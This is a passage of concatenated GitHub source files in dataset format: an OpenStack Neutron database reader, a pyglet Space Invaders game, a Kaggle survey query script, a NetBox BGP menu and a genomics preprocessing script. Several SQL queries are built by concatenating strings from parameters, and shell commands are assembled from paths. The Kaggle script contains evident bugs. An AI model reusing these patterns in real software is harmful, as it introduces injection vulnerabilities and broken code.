networkdhcpagentbindings'\n\n if uuid:\n query += ' where network_id = \"' + uuid + '\"'\n\n cur.execute(query)\n for row in cur.fetchall():\n res[row[0]]['attributes']['dhcp_agent_id'] = row[1]\n\n return res\n\n def get_subnets_by_net_id(self, net_id):\n \"\"\"\n Return a dict containing the Subnets stored in Neutron for a given Network.\n\n :param net_id: UUID of the desired Network\n :return dict: contains subnets information\n \"\"\"\n res = {}\n with closing(self.conn.cursor()) as cur:\n\n query = 'select * from subnets where network_id = \"' + net_id + '\"'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n res[row[1]] = {}\n res[row[1]]['name'] = row[2]\n res[row[1]]['attributes'] = {}\n res[row[1]]['attributes']['ip_version'] = row[4]\n res[row[1]]['attributes']['cidr'] = row[5]\n res[row[1]]['attributes']['gateway_ip'] = row[6]\n res[row[1]]['attributes']['enable_dhcp'] = row[7]\n res[row[1]]['attributes']['shared'] = row[8]\n res[row[1]]['attributes']['ipv6_ra_mode'] = row[9]\n res[row[1]]['attributes']['ipv6_address_mode'] = row[10]\n dns_query = 'select * from dnsnameservers where subnet_id=\"' + row[1] + '\"'\n res[row[1]]['attributes']['dns_name_servers'] = list()\n cur.execute(dns_query)\n for dns_row in cur.fetchall():\n res[row[1]]['attributes']['dns_name_servers'].append(dns_row[0])\n routes_query = 'select * from subnetroutes where subnet_id=\"' + row[1] + '\"'\n res[row[1]]['attributes']['host_routes'] = list()\n cur.execute(routes_query)\n for routes_row in cur.fetchall():\n res[row[1]]['attributes']['host_routes'].append(\n {\n 'destination': routes_row[0],\n 'nexthop': routes_row[1]\n }\n )\n\n return res\n\n def get_subnets(self, uuid=None):\n \"\"\"\n Return a dict containing the Subnets stored in Neutron.\n If an UUID is given, it will return only the subnet with the given UUID\n :param uuid: Optional UUID of the desired subnet\n :return dict: contains subnets information\n \"\"\"\n res = {}\n with closing(self.conn.cursor()) as cur:\n\n query = 'select * from subnets'\n\n if uuid:\n query += ' where id = \"' + uuid + '\"'\n\n cur.execute(query)\n\n for row in cur.fetchall():\n res[row[1]] = {}\n res[row[1]]['resource_type'] = 'virtual'\n res[row[1]]['name'] = row[2]\n res[row[1]]['type'] = 'subnet'\n res[row[1]]['category'] = 'network'\n res[row[1]]['attributes'] = {}\n res[row[1]]['attributes']['network_id'] = row[3]\n res[row[1]]['attributes']['ip_version'] = row[4]\n res[row[1]]['attributes']['cidr'] = row[5]\n res[row[1]]['attributes']['gateway_ip'] = row[6]\n res[row[1]]['attributes']['enable_dhcp'] = row[7]\n res[row[1]]['attributes']['shared'] = row[8]\n res[row[1]]['attributes']['ipv6_ra_mode'] = row[9]\n res[row[1]]['attributes']['ipv6_address_mode'] = row[10]\n dns_query = 'select * from dnsnameservers where subnet_id=\"' + row[1] + '\"'\n res[row[1]]['attributes']['dns_name_servers'] = list()\n cur.execute(dns_query)\n for dns_row in cur.fetchall():\n res[row[1]]['attributes']['dns_name_servers'].append(dns_row[0])\n routes_query = 'select * from subnetroutes where subnet_id=\"' + row[1] + '\"'\n res[row[1]]['attributes']['host_routes'] = list()\n cur.execute(routes_query)\n for routes_row in cur.fetchall():\n res[row[1]]['attributes']['host_routes'].append(\n {\n 'destination': routes_row[0],\n 'nexthop': routes_row[1]\n }\n )\n\n return res\n","repo_name":"IntelLabsEurope/infrastructure-repository","sub_path":"monitoring_service/epa_database/openstack/neutron_db.py","file_name":"neutron_db.py","file_ext":"py","file_size_in_byte":15327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70831511773","text":"import random\n\nimport pyglet\nfrom pyglet.window import key\n\nclass _Shield(object):\n def __init__(self, x, y):\n self.x, self.y = x, y\n self.sprites = [\n None,\n pyglet.resource.image('shield_damlo.png'),\n pyglet.resource.image('shield_damhi.png'),\n pyglet.resource.image('shield_full.png'),\n pyglet.resource.image('shield_nw.png'),\n pyglet.resource.image('shield_ne.png'),\n ]\n self.states = [\n [0, 4, 3, 3, 3, 3, 5, 0],\n [4, 3, 3, 3, 3, 3, 3, 5],\n [3, 3, 0, 0, 0, 0, 3, 3],\n [3, 3, 0, 0, 0, 0, 3, 3],\n ]\n self.IW = self.sprites[3].width\n self.IH = self.sprites[3].height\n self.RC = range(len(self.states))\n self.CC = range(len(self.states[0]))\n self.width = len(self.states[0]) * self.IW\n def update(self):\n pass\n def paint(self):\n for s_r in self.RC:\n for s_c in self.CC:\n s = self.sprites[self.states[s_r][s_c]]\n x = self.x + s_c * self.IW\n y = self.y - s_r * self.IH\n if s: s.blit(x, y)\n def _reducedState(self, s, fromAbove):\n if s in [1, 2]:\n return 0\n elif s in [3, 4, 5]:\n return {True:1,False:2}[fromAbove]\n else:\n assert False\n def top(self):\n return self.y + self.IH\n def absorb(self, xl, yl, xh, yh, fromAbove):\n x = (xl + xh) / 2\n for r in self.RC:\n ry = self.y - r * self.IH\n if yl >= ry + self.IH: continue\n if yh < ry: continue\n for c in self.CC:\n cx = self.x + c * self.IW\n if not self.states[r][c]: continue\n if x < cx: continue\n if x >= cx + self.IW: continue\n s = self.states[r][c]\n self.states[r][c] = self._reducedState(s, fromAbove)\n return True\n def height(self):\n return self.IH * len(self.RC)\n def bitHeight(self):\n return self.IH\n def melt(self, invaderInvasionY):\n anythingMelted = False\n row = invaderInvasionY // self.IH\n if row < 0:\n return anythingMelted\n if row > len(self.states):\n row = len(self.states)\n for i_r in xrange(row):\n for i_c in self.CC:\n s = self.states[i_r][i_c]\n if s:\n anythingMelted = True\n self.states[i_r][i_c] = self._reducedState(s, True)\n return anythingMelted\n \nclass Shields(object):\n def __init__(self, window):\n sw = _Shield(0, 0).width\n pad = 128\n num = 4\n y = 96\n i_pad = (window.width - 2 * pad - sw) / (num-1)\n self.subs = [_Shield(pad + i_pad*i_x, y)\n for i_x in range(4)]\n self.top = self.subs[0].top()\n self.nextMelt = self.top\n def melt(self, invaderheight):\n anythingMelted = False\n if invaderheight < self.nextMelt:\n for s in self.subs:\n if s.melt(self.top - invaderheight):\n anythingMelted = True\n if not anythingMelted:\n self.nextMelt -= self.subs[0].bitHeight()\n return anythingMelted\n def absorbFromAbove(self, xl, yl, xh, yh):\n return self._absorb(xl, yl, xh, yh, True)\n def absorbFromBelow(self, xl, yl, xh, yh):\n return self._absorb(xl, yl, xh, yh, False)\n def _absorb(self, xl, yl, xh, yh, fromAbove):\n for s in self.subs:\n if s.absorb(xl, yl, xh, yh, fromAbove):\n return self\n return None\n def update(self):\n pass\n def paint(self):\n for s in self.subs:\n s.paint()\n\nclass Lives(object):\n PAD_OUTER = 3\n PAD_INNER = 1\n def __init__(self, window):\n self.liferepr = pyglet.resource.image('playerlife.png')\n self.count = 2\n self.x = window.width - (self.PAD_OUTER + self.liferepr.width)\n self.y = window.height - (self.PAD_OUTER + self.liferepr.height)\n def paint(self):\n for i in range(self.count):\n x = self.x - i * (self.PAD_INNER + self.liferepr.width)\n self.liferepr.blit(x, self.y)\n def update(self):\n pass\n def upOne(self):\n self.count += 1\n def loseOne(self):\n self.count -= 1\n\nclass Player(object):\n def __init__(self, window, keys):\n self.w = window\n self.k = keys\n self.gun = _Gun(window)\n self.s_alive = _AlivePlayer(window, keys, self.gun)\n self.s_dead = _DeadPlayer()\n self.state = self.s_alive\n def isHit(self, xl, yl, xh, yh):\n if self.state != self.s_alive: return None\n if self.s_alive.isHit(xl, yl, xh, yh):\n self.s_dead.init(self.s_alive.x, self.s_alive.y)\n self.state = self.s_dead\n return self\n return None\n def testGunHit(self, hitFuns):\n self.gun.testHit(hitFuns)\n def update(self):\n self.gun.update()\n if self.state == self.s_dead:\n if not self.state.stillDead:\n self.state = self.s_alive\n self.state.resurrect()\n self.state.update()\n def paint(self):\n self.gun.paint()\n self.state.paint()\n\nclass LostPlayer(object):\n def __init__(self, origPlayer):\n if origPlayer.state == origPlayer.s_alive:\n self.state = origPlayer.s_dead\n self.state.init(origPlayer.s_alive.x,\n origPlayer.s_alive.y)\n else:\n self.state = origPlayer.s_dead\n def isHit(self, xl, yl, xh, yh):\n return None\n def testGunHit(self, hitFuns):\n pass\n def update(self):\n self.state.update()\n def paint(self):\n self.state.paint()\n\nclass _DeadPlayer(object):\n ANIMSPEED = 3\n def __init__(self):\n self.anim = [\n pyglet.resource.image('playermelt01.png'),\n pyglet.resource.image('playermelt02.png'),\n pyglet.resource.image('playermelt03.png'),\n pyglet.resource.image('playermelt04.png'),\n ]\n self.a_tick = 0\n self.a_state = None\n self.stillDead = None\n self.x, self.y = 0, 0\n def init(self, x, y):\n self.x = x\n self.y = y\n self.a_state = 0\n self.stillDead = 30\n self.a_tick = self.ANIMSPEED\n def update(self):\n if self.stillDead: self.stillDead -= 1\n if self.a_state == None: return\n self.a_tick -= 1\n if self.a_tick: return\n self.a_tick = self.ANIMSPEED\n self.a_state += 1\n if self.a_state >= len(self.anim):\n self.a_state = None\n return\n def paint(self):\n if self.a_state == None: return\n self.anim[self.a_state].blit(self.x, self.y)\n \nclass _AlivePlayer(object):\n def __init__(self, window, keys, gun):\n self.w = window\n self.gun = gun\n self.s = pyglet.resource.image('player.png')\n self.x, self.y = self.w.width/2, 4\n self.keys = keys\n self.invulnerable = 0\n def resurrect(self):\n self.invulnerable = 50\n def update(self):\n if self.invulnerable:\n self.invulnerable -= 1\n vx = 0\n if self.keys[key.LEFT]: vx -= 10\n if self.keys[key.RIGHT]: vx += 10\n self.x += vx\n self.x = max(self.x, 0)\n self.x = min(self.x, self.w.width - self.s.width)\n if self.keys[key.SPACE]: self._pewpew()\n def isHit(self, xl, yl, xh, yh):\n if self.invulnerable: return False\n sxh = self.x+self.s.width\n syh = self.y+self.s.height\n if yl > syh: return False\n if yh < self.y: return False\n if xl > sxh: return False\n if xh < self.x: return False\n return True\n def paint(self):\n if self.invulnerable:\n if (self.invulnerable/5)%2:\n return\n self.s.blit(self.x, self.y)\n def _pewpew(self):\n self.gun.fire(self.x + (self.s.width/2), self.y + self.s.height)\n\nclass _Gun(object):\n COOLDOWN_MAX = 5\n def __init__(self, window):\n self.w = window\n self.s = pyglet.resource.image('pewpew.png')\n self.cx, self.cy = self.s.width/2, 0\n self.x, self.y = 0, 0\n self.firing = False\n self.cooldown = 0\n def fire(self, x, y):\n if self.firing: return\n if self.cooldown: return\n self.x = x - self.cx\n self.y = y - self.cy\n self.firing = True\n self.cooldown = self.COOLDOWN_MAX\n def update(self):\n if self.cooldown: self.cooldown -= 1\n if not self.firing: return\n self.y += 15\n if self.y > self.w.height:\n self.firing = False\n return\n def testHit(self, hitFun):\n if not self.firing: return\n if hitFun(self.x, self.y, self.x+self.s.width, self.y+self.s.height):\n self.firing = False\n def paint(self):\n if not self.firing: return\n self.s.blit(self.x, self.y)\n\nclass _InvaderExplode(object):\n def __init__(self):\n s = [pyglet.resource.image('invaderexplode0.png'),\n pyglet.resource.image('invaderexplode1.png')]\n self.x, self.y = 0, 0\n self.sm = {'inactive': {'d': 0, 'next': None, 's': None},\n 'explode0': {'d': 5, 'next': 'explode1', 's': s[0]},\n 'explode1': {'d': 10, 'next': 'inactive', 's': s[1]}}\n self.st = 'inactive'\n self.st_c = 0\n def trans(self, state):\n self.st = state\n self.st_c = self.sm[state]['d']\n def boom(self, x, y):\n self.x, self.y = x, y\n self.trans('explode0')\n def paint(self):\n s = self.sm[self.st]['s']\n if not s: return\n s.blit(self.x, self.y)\n def update(self):\n if not self.st_c: return\n self.st_c -= 1\n if self.st_c: return\n self.trans(self.sm[self.st]['next'])\n\nclass _InvaderZap(object):\n def __init__(self, window):\n self.w = window\n self.s = pyglet.resource.image('zapzap.png')\n self.cx, self.cy = self.s.width/2, 0\n self.xyl = []\n self.wh = (self.s.width, self.s.height)\n def fire(self, x, y):\n self.xyl.append([x - self.cx, y - self.cy])\n def update(self):\n for p in self.xyl: p[1] -= 10\n self.xyl = [p for p in self.xyl if p[1] > -self.s.height]\n def testHit(self, hitFuns):\n hitItems = []\n xyl2 = []\n for p in self.xyl:\n bounds = p[0], p[1], p[0]+self.s.width, p[1]+self.s.height\n hit = reduce(lambda a, f: a or f(*bounds), hitFuns, None)\n if hit:\n hitItems.append(hit)\n continue # shot absorbed\n xyl2.append(p)\n self.xyl = xyl2\n return hitItems\n def paint(self):\n for [x, y] in self.xyl:\n self.s.blit(x, y)\n\nclass Invaders(object):\n def __init__(self, window, diffLevel):\n self.w = window\n self.diffLevel = diffLevel\n self.ROWS = 6\n self.COLS = 8\n self.explode = _InvaderExplode()\n self.zap = _InvaderZap(window)\n self.invader0 = [\n pyglet.resource.image('invader01.png'),\n pyglet.resource.image('invader02.png')]\n self.iw, self.ih = self.invader0[0].width, self.invader0[0].height\n self.pad = 16\n self.x = 2 * self.pad\n self.y = self.w.height - (self.ih + 2 * self.pad)\n self.il = [[True]*self.COLS for _ in [None]*self.ROWS]\n self.bipbop = 0\n self.bipcnt = 0\n self.zapcnt = 100\n self.vx = self.iw/4\n self.vy = -(self.ih + self.pad)\n self.calcWidth()\n self.speed = self.calcSpeed()\n self.bottomBoundary = self.calcBottomBoundary()\n self.moving = True\n\n def reachedBottom(self):\n return self.bottomBoundary <= 0\n\n def calcBottomBoundary(self):\n bott = -1\n for i_r in xrange(len(self.il)):\n if max(self.il[i_r]):\n bott = i_r\n _, y = self.pos(bott, 0)\n return y\n \n def calcSpeed(self):\n def getDiffCurve():\n if self.diffLevel > 12:\n return [1, 2, 3, 4, 5, 6, 7]\n if self.diffLevel > 8:\n return [1, 2, 4, 5, 6, 8, 10]\n if self.diffLevel > 6:\n return [2, 4, 5, 6, 8, 10, 13]\n if self.diffLevel > 4:\n return [3, 5, 6, 8, 10, 13, 16]\n if self.diffLevel > 1:\n return [4, 6, 8, 10, 13, 16, 18]\n else:\n return [5, 7, 10, 13, 16, 18, 20]\n speeds = getDiffCurve()\n n = 0\n for r in xrange(self.ROWS):\n for c in xrange(self.COLS):\n if self.il[r][c]:\n n += 1\n if n < 2:\n return speeds[0]\n if n < 5:\n return speeds[1]\n if n < 10:\n return speeds[2]\n if n < 20:\n return speeds[3]\n if n < 30:\n return speeds[4]\n if n < 40:\n return speeds[5]\n else:\n return speeds[6]\n\n def collide(self, xl, yl, xh, yh):\n for i_r in xrange(self.ROWS):\n i_yl = self.y - (self.ih + self.pad) * i_r\n i_yh = i_yl + self.ih\n if yh < i_yl: continue\n if yl > i_yh: continue\n for i_c in xrange(self.COLS):\n i_xl = self. x + (self.iw + self.pad) * i_c\n i_xh = i_xl + self.iw\n if xh < i_xl: continue\n if xl > i_xh: continue\n if self.il[i_r][i_c]:\n self.il[i_r][i_c] = False\n self.explode.boom(i_xl, i_yl)\n self.speed = self.calcSpeed()\n self.bottomBoundary = self.calcBottomBoundary()\n self.reduceSizeIfNeeded()\n return True\n return False\n\n def allDead(self):\n return not self.COLS\n\n def removeZaps(self):\n self.zap = _InvaderZap(self.w)\n\n def reduceSizeIfNeeded(self):\n for i_c in [0, -1]:\n if not self.COLS: return\n if not sum([self.il[i_r][i_c]\n for i_r in range(self.ROWS)]):\n self.stripCol(i_c)\n self.reduceSizeIfNeeded()\n\n def stripCol(self, i_c):\n self.COLS -= 1\n for r in self.il:\n r.pop(i_c)\n if i_c == 0:\n self.x += self.iw + self.pad\n self.calcWidth()\n\n def calcWidth(self):\n self.totWidth = len(self.il[0]) * (self.iw + self.pad) - self.pad\n\n def getBottomOfRandomRow(self):\n candidates = []\n for i_c in xrange(self.COLS):\n for i_r in xrange(self.ROWS-1, -1, -1):\n if self.il[i_r][i_c]:\n candidates.append((i_r, i_c))\n break\n if not candidates:\n return None, None\n r, c = random.choice(candidates)\n x, y = self.pos(r, c)\n x += self.invader0[0].width / 2\n return x, y\n\n def update(self):\n self.explode.update()\n self.zap.update()\n self.bipcnt = (self.bipcnt + 1)%self.speed\n if self.bipcnt == 0:\n self.bipbop = (self.bipbop + 1)%2\n if self.moving:\n self.x += self.vx\n if (self.x + self.totWidth > self.w.width) or (self.x < 0):\n self.vx *= -1\n self.x += self.vx\n self.y += self.vy\n self.bottomBoundary = self.calcBottomBoundary()\n self.zapcnt -= 1\n if self.zapcnt == 0:\n self.zapcnt = random.randrange(10, 120)\n x, y = self.getBottomOfRandomRow()\n if x != None:\n self.zap.fire(x, y)\n\n def pos(self, r, c):\n return (self.x + c*(self.iw + self.pad),\n self.y - r*(self.ih + self.pad))\n\n def paint(self):\n def paintOne(row, col):\n x, y = self.pos(row, col)\n s = self.invader0[self.bipbop]\n s.blit(x, y)\n self.explode.paint()\n self.zap.paint()\n for ir in xrange(len(self.il)):\n row = self.il[ir]\n for ic in xrange(len(row)):\n row[ic] and paintOne(ir, ic)\n\nGAMEOVER_LABEL = pyglet.text.Label(\n 'GAME OVER',\n font_name=\"sans\",\n font_size=24,\n x=0, # set later\n y=0, # set later\n anchor_x=\"center\",\n anchor_y=\"center\") \nclass GameOver(object):\n def __init__(self, window):\n self.lbl = GAMEOVER_LABEL\n self.lbl.x = window.width//2\n self.lbl.y = window.height//2\n def update(self):\n pass\n def paint(self):\n self.lbl.draw()\n\nclass Level(object):\n def __init__(self, window):\n self.window = window\n self.value = 1\n self.lbl = self.mkLbl()\n self.fullYayWait = 60\n self.done = False\n def mkLbl(self):\n color = (255, 255, 255, 255)\n shinies = '%s'\n if self.value >= 2:\n shinies = shinies%'-%s-'\n if self.value >= 4:\n shinies = shinies%'=%s='\n if self.value >= 6:\n shinies = shinies%'<%s>'\n if self.value >= 8:\n shinies = shinies%'*%s*'\n if self.value >= 10:\n shinies = shinies%'>%s<'\n if self.value >= 12:\n shinies = shinies%'{%s}'\n if self.value >= 14:\n shinies = shinies%'~%s~'\n if self.value >= 16:\n shinies = shinies%'_%s_'\n if self.value >= 18:\n shinies = shinies%'/%s\\\\'\n if self.value >= 20:\n shinies = shinies%' %s '\n color = (238, 201, 0, 255) # gold!\n return pyglet.text.Label(\n shinies%('LEVEL %d'%self.value),\n font_name=\"sans\",\n font_size=15,\n x=self.window.width // 2,\n y=self.window.height,\n anchor_x=\"center\",\n anchor_y=\"top\",\n color=color)\n def up(self):\n self.value += 1\n self.lbl = self.mkLbl()\n def update(self):\n pass\n def paint(self):\n self.lbl.draw()\n\ndef _mkYayLbl(level):\n return pyglet.text.Label(\n 'YOU BEAT LEVEL %d'%level,\n font_name=\"sans\",\n font_size=50,\n x=0, # window.width // 2 later\n y=0, # window.height // 2 later\n anchor_x=\"center\",\n anchor_y=\"center\")\n_YAY_LABELS = [_mkYayLbl(n) for n in xrange(20)]\nclass YayYou(object):\n def __init__(self, window, level):\n global _YAY_LABELS\n while level >= len(_YAY_LABELS):\n _YAY_LABELS.extend([_mkYayLbl(n) for n in xrange(len(_YAY_LABELS), len(_YAY_LABELS)+10)])\n self.lbl = _YAY_LABELS[level]\n self.lbl.x = window.width // 2\n self.lbl.y = window.height // 2\n self.countdown = 60\n self.halfcountdown = self.countdown // 2\n self.done = False\n self.halfDone = False\n def update(self):\n if self.countdown:\n self.countdown -= 1\n self.halfDone = self.countdown > self.halfcountdown\n self.done = not self.countdown\n def paint(self):\n self.lbl.draw()\n","repo_name":"deestan/invade","sub_path":"sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":19254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"40295778448","text":"import psycopg2\n# from theapp import app\n# import viz\n# from flask import render_template, request\n#import pandas as pd #We don't have pandas yet.\n#We need to get some input things\n\n\n#y_n = request.args.get('all_or_none', default = None, type = str)\n#qst = request.args.get('question' , default = None, type = str)\n# subset by dropdown\ny_n = 'yes'\nqst = \"Who/what are your favorite media sources that report on data science topics?\"\n\nquestion_to_column = {\"Which of the following relational database products do you use on a regular basis?\": 'q34',\n 'Which of the following cloud computing platforms do you use on a regular basis?' : 'q29',\n \"Which of the following natural language processing (NLP) methods do you use on a regular basis?\": 'q27',\n 'Which categories of computer vision methods do you use on a regular basis?': 'q26',\n 'Which categories of ML tools do you use on a regular basis?' : 'q25' ,\n 'Which of the following ML algorithms do you use on a regular basis?': 'q24',\n 'What programming languages do you use on a regular basis?': 'q18',\n \"Which of the following integrated development environments (IDE's) do you use on a regular basis?\": 'q16',\n \"What is the primary tool that you use at work or school to analyze data?\": 'q14',\n \"On which platforms have you begun or completed data science courses?\" : 'q13',\n \"Who/what are your favorite media sources that report on data science topics?\": 'q12',\n \"Select any activities that make up an important part of your role at work\": 'q9'}\n\nother_questions = ['q9', 'q12', 'q14', 'q15', 'q16', 'q18', 'q24', 'q25', 'q26', 'q27', \"q29\", 'q34']\n\n# q14 is all free response so all or none are equivalent.\n\nquestion_size = {'q34': 12,\n 'q29': 12,\n 'q27': 6,\n 'q26': 7,\n 'q25': 8,\n 'q24': 12,\n 'q18': 12,\n 'q16': 12,\n 'q14': 5,\n 'q13': 12,\n 'q12': 12,\n 'q9': 8 }\n\n# Initialization code to be able to query the database\nconn = psycopg2.connect(\"dbname=kaggle user=abucklin\")\ncur = conn.cursor()\n\ndef query_generator_and_data_grabber(question = qst, yes_or_no = y_n):\n qnum = question_to_column[qst]\n columns = []\n for i in range(1, question_size[qnum]+1):\n string = qnum + \"_\" + str(i)\n columns.append(string)\n\n columns = columns.replace( \"]\" , \"'\").replace(\"[\", '').replace(\"'\", '')\n\n basic = \"SELECT \" + columns + \" FROM mcq \"\n conditions = ''\n query = basic + conditions + \";\"\n cur.execute(query)\n data = cur.fetchall()\n\n if \"y\" in yes_or_no :\n second = \"SELECT \" + str(qnum) + \"FROM other_questions\"\n cur.execute(second + \";\")\n x = cur.fetchall()\n data = data.extend(x)\n return data\n\n\nraw_data = query_generator_and_data_grabber()\n\n#data = pd.DataFrame(raw_data, columns = [in_ss , in_pp]) #Still don't have pandas.\n","repo_name":"mandab749/State_of_Data_Science","sub_path":"Word_Cloud_queries.py","file_name":"Word_Cloud_queries.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70831663130","text":"from django.conf import settings\n\nfrom extras.plugins import PluginMenuButton, PluginMenuItem, PluginMenu\nfrom utilities.choices import ButtonColorChoices\n\n\n_menu_items = (\n PluginMenuItem(\n link='plugins:netbox_bgp:community_list',\n link_text='Communities',\n permissions=['netbox_bgp.view_community'],\n buttons=(\n PluginMenuButton(\n link='plugins:netbox_bgp:community_add',\n title='Communities',\n icon_class='mdi mdi-plus-thick',\n color=ButtonColorChoices.GREEN,\n permissions=['netbox_bgp.add_community'],\n ),\n ),\n ),\n PluginMenuItem(\n link='plugins:netbox_bgp:bgpsession_list',\n link_text='Sessions',\n permissions=['netbox_bgp.view_bgpsession'],\n buttons=(\n PluginMenuButton(\n link='plugins:netbox_bgp:bgpsession_add',\n title='Sessions',\n icon_class='mdi mdi-plus-thick',\n color=ButtonColorChoices.GREEN,\n permissions=['netbox_bgp.add_bgpsession'],\n ),\n ),\n ),\n PluginMenuItem(\n link='plugins:netbox_bgp:routingpolicy_list',\n link_text='Routing Policies',\n permissions=['netbox_bgp.view_routingpolicy'],\n buttons=(\n PluginMenuButton(\n link='plugins:netbox_bgp:routingpolicy_add',\n title='Routing Policies',\n icon_class='mdi mdi-plus-thick',\n color=ButtonColorChoices.GREEN,\n permissions=['netbox_bgp.add_routingpolicy'],\n ),\n ),\n ),\n PluginMenuItem(\n link='plugins:netbox_bgp:prefixlist_list',\n link_text='Prefix Lists',\n permissions=['netbox_bgp.view_prefixlist'],\n buttons=(\n PluginMenuButton(\n link='plugins:netbox_bgp:prefixlist_add',\n title='Prefix Lists',\n icon_class='mdi mdi-plus-thick',\n color=ButtonColorChoices.GREEN,\n permissions=['netbox_bgp.add_prefixlist'],\n ),\n ),\n ),\n PluginMenuItem(\n link='plugins:netbox_bgp:bgppeergroup_list',\n link_text='Peer Groups',\n permissions=['netbox_bgp.view_bgppeergroup'],\n buttons=(\n PluginMenuButton(\n link='plugins:netbox_bgp:bgppeergroup_add',\n title='Peer Groups',\n icon_class='mdi mdi-plus-thick',\n color=ButtonColorChoices.GREEN,\n permissions=['netbox_bgp.add_bgppeergroup'],\n ),\n ),\n )\n)\n\nplugin_settings = settings.PLUGINS_CONFIG.get('netbox_bgp', {})\n\nif plugin_settings.get('top_level_menu'):\n menu = PluginMenu( \n label=\"BGP\",\n groups=((\"BGP\", _menu_items),),\n icon_class=\"mdi mdi-bootstrap\",\n )\nelse:\n menu_items = _menu_items\n","repo_name":"k01ek/netbox-bgp","sub_path":"netbox_bgp/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":189,"dataset":"github-code","pt":"32"} +{"seq_id":"6268192961","text":"\"\"\" Scripts with helper functions to download and process gene sequences\n using raw DNA sequences and annotation files.\n\"\"\"\nimport os\nfrom Bio import SeqIO\nfrom . import config, utils\n\n\n# Define Global Vars\nANNOT_SUFFIX_DICT = {'Ensembl': 'gff3',\n 'Refseq': 'gff',\n 'Maize': 'gff3',\n 'Maize_addition': 'gff3',\n 'Maize_nam': 'gff3'}\nGENE_SUFFIX_DICT = {'Ensembl': 'fa',\n 'Refseq': 'fna',\n 'Maize': 'fa',\n 'Maize_addition': 'fa',\n 'Maize_nam': 'fa'}\n\n\n# Helper functions for download data from the selected Database\ndef generate_directories(db_name):\n \"\"\" Creates a list of directories to be added\n Params:\n db_name: str, name of the database to be processed\n \"\"\"\n # Create paths to be added\n db_path = config.data_raw / db_name\n dna_path = db_path / 'dna'\n annot_path = db_path / 'annot'\n processed_db_path = config.data_processed / db_name\n\n for path in [db_path, dna_path, annot_path, processed_db_path]:\n if not os.path.exists(path):\n os.mkdir(path)\n\n\ndef faidx(dna_path, dna_name):\n \"\"\" Adapted from Inari noteobok. Used to extract .fai from .fa file\n Params:\n dna_path: str, directory for the .fa/.fna dna file\n dna_name: str, name for dna .fa/.fna file\n \"\"\"\n exe_str = f\"{config.samtools} faidx {os.path.join(dna_path, dna_name)}\"\n utils.execute(exe_str)\n\n\ndef extract_flanking_region(annot_name, annot_path, db_name):\n \"\"\" Adapted from Inari noteobok. Used to extract the flanking region.\n Generates a .gene.gff3/gff file using the .gff3/gff file.\n Params:\n annot_name: str, name of the annotation .gff3 file\n annot_path: str, directory that stores the gff3 file\n \"\"\"\n # Generate input and output file names\n in_path = os.path.join(annot_path, annot_name)\n suffix = ANNOT_SUFFIX_DICT[db_name]\n out_path = in_path.replace(f\".{suffix}\", f\".gene.{suffix}\")\n exe_str = f\"grep -P '\\tgene\\t' {in_path} > {out_path}\" # -P for ubuntu, -p for linux\n utils.execute(exe_str)\n\n\ndef get_1kbup(dna_name, annot_name, dna_path, annot_path, regulatory_len, db_name):\n \"\"\" Adapted from Inari noteobok. Creates the .gene.1kbup.gff3 file\n using the .gene.gff3 generated using extract_flanking_region.\n Params:\n dna_name: str, name for dna .fa/fna file\n annot_name: str, name of the annotation .gff3/gff file\n dna_path: str, directory for the .fa/fna dna file\n annot_path: str, directory that stores the gff3/gff file\n regulatory_len: int, length of regulatory region to be extracted\n db_name: str, name of the database to be processed\n \"\"\"\n # Generate input and output file names\n suffix = ANNOT_SUFFIX_DICT[db_name]\n annot_gene = annot_name.replace(f\".{suffix}\", f\".gene.{suffix}\")\n annot_1kbup = annot_name.replace(f\".{suffix}\", f\".gene.1kbup.{suffix}\")\n\n # Create the exe command to get 1kbup\n exe_str = f\"{config.bedtools} flank -i \"\n exe_str += f\"{os.path.join(annot_path, annot_gene)} \"\n exe_str += f\"-g {os.path.join(dna_path, dna_name)}.fai \"\n exe_str += f\"-l {str(regulatory_len)} \"\n exe_str += \"-r 0 \"\n exe_str += \"-s \"\n exe_str += f\"> {os.path.join(annot_path, annot_1kbup)}\"\n utils.execute(exe_str)\n\n\ndef subtract(dna_name, annot_name, annot_path, db_name):\n ''' Adapted from Inari noteobok. Apply Bedtools subtract to subtract genic\n regions of neighbouring genes from the intergenic flanks.\n Params:\n dna_name: str, name for dna .fa/fna file\n annot_name: str, directory that stores the gff3/gff file\n annot_path: str, directory that stores the gff3/gff file\n db_name: str, name of the database to be processed\n '''\n # Generate input and output file names\n suffix = ANNOT_SUFFIX_DICT[db_name]\n annot_gene = annot_name.replace(f\".{suffix}\", f\".gene.{suffix}\")\n annot_1kbup = annot_name.replace(f\".{suffix}\", f\".gene.1kbup.{suffix}\")\n annot_nov = annot_name.replace(f\".{suffix}\", f\".gene.1kbup.nov.{suffix}\")\n\n exe_str = f\"{config.bedtools} subtract -a \" + \\\n os.path.join(annot_path, annot_1kbup)\n exe_str += \" -b \" + os.path.join(annot_path, annot_gene)\n exe_str += \" > \" + os.path.join(annot_path, annot_nov)\n utils.execute(exe_str)\n\n\ndef remove_split_fragments(annot_name, annot_path, db_name):\n ''' Go over the gtf file and if multiple promoter fragments for one gene:\n retain only last one (largest coordinates) in case of positive strand\n retain only first one (smallest coordinates) in case of negative strand\n Params:\n annot_name: str, name of the annotation .gff3 file\n annot_path: str, directory that stores the gff3 file\n db_name: str, name of the database to be processed\n '''\n suffix = ANNOT_SUFFIX_DICT[db_name]\n annot_nov = annot_name.replace(f\".{suffix}\", f\".gene.1kbup.nov.{suffix}\")\n annot_final = annot_name.replace(f\".{suffix}\", f\".gene.1kbup.nov.final.{suffix}\")\n\n # Read in all the extracted regions\n with open(os.path.join(annot_path, annot_nov)) as gtf_fh_in:\n fragment_dict = {}\n orientation_dict = {}\n for line in gtf_fh_in:\n line = line.rstrip()\n line_list = line.split('\\t')\n if db_name == 'Ensembl':\n gene_id_temp = line_list[-1].split(';')[0]\n gene_id = gene_id_temp.split(\":\")[1]\n elif db_name == 'Refseq':\n gene_id_temp = line_list[-1].split(';')[1]\n gene_id = gene_id_temp.split(\":\")[1]\n 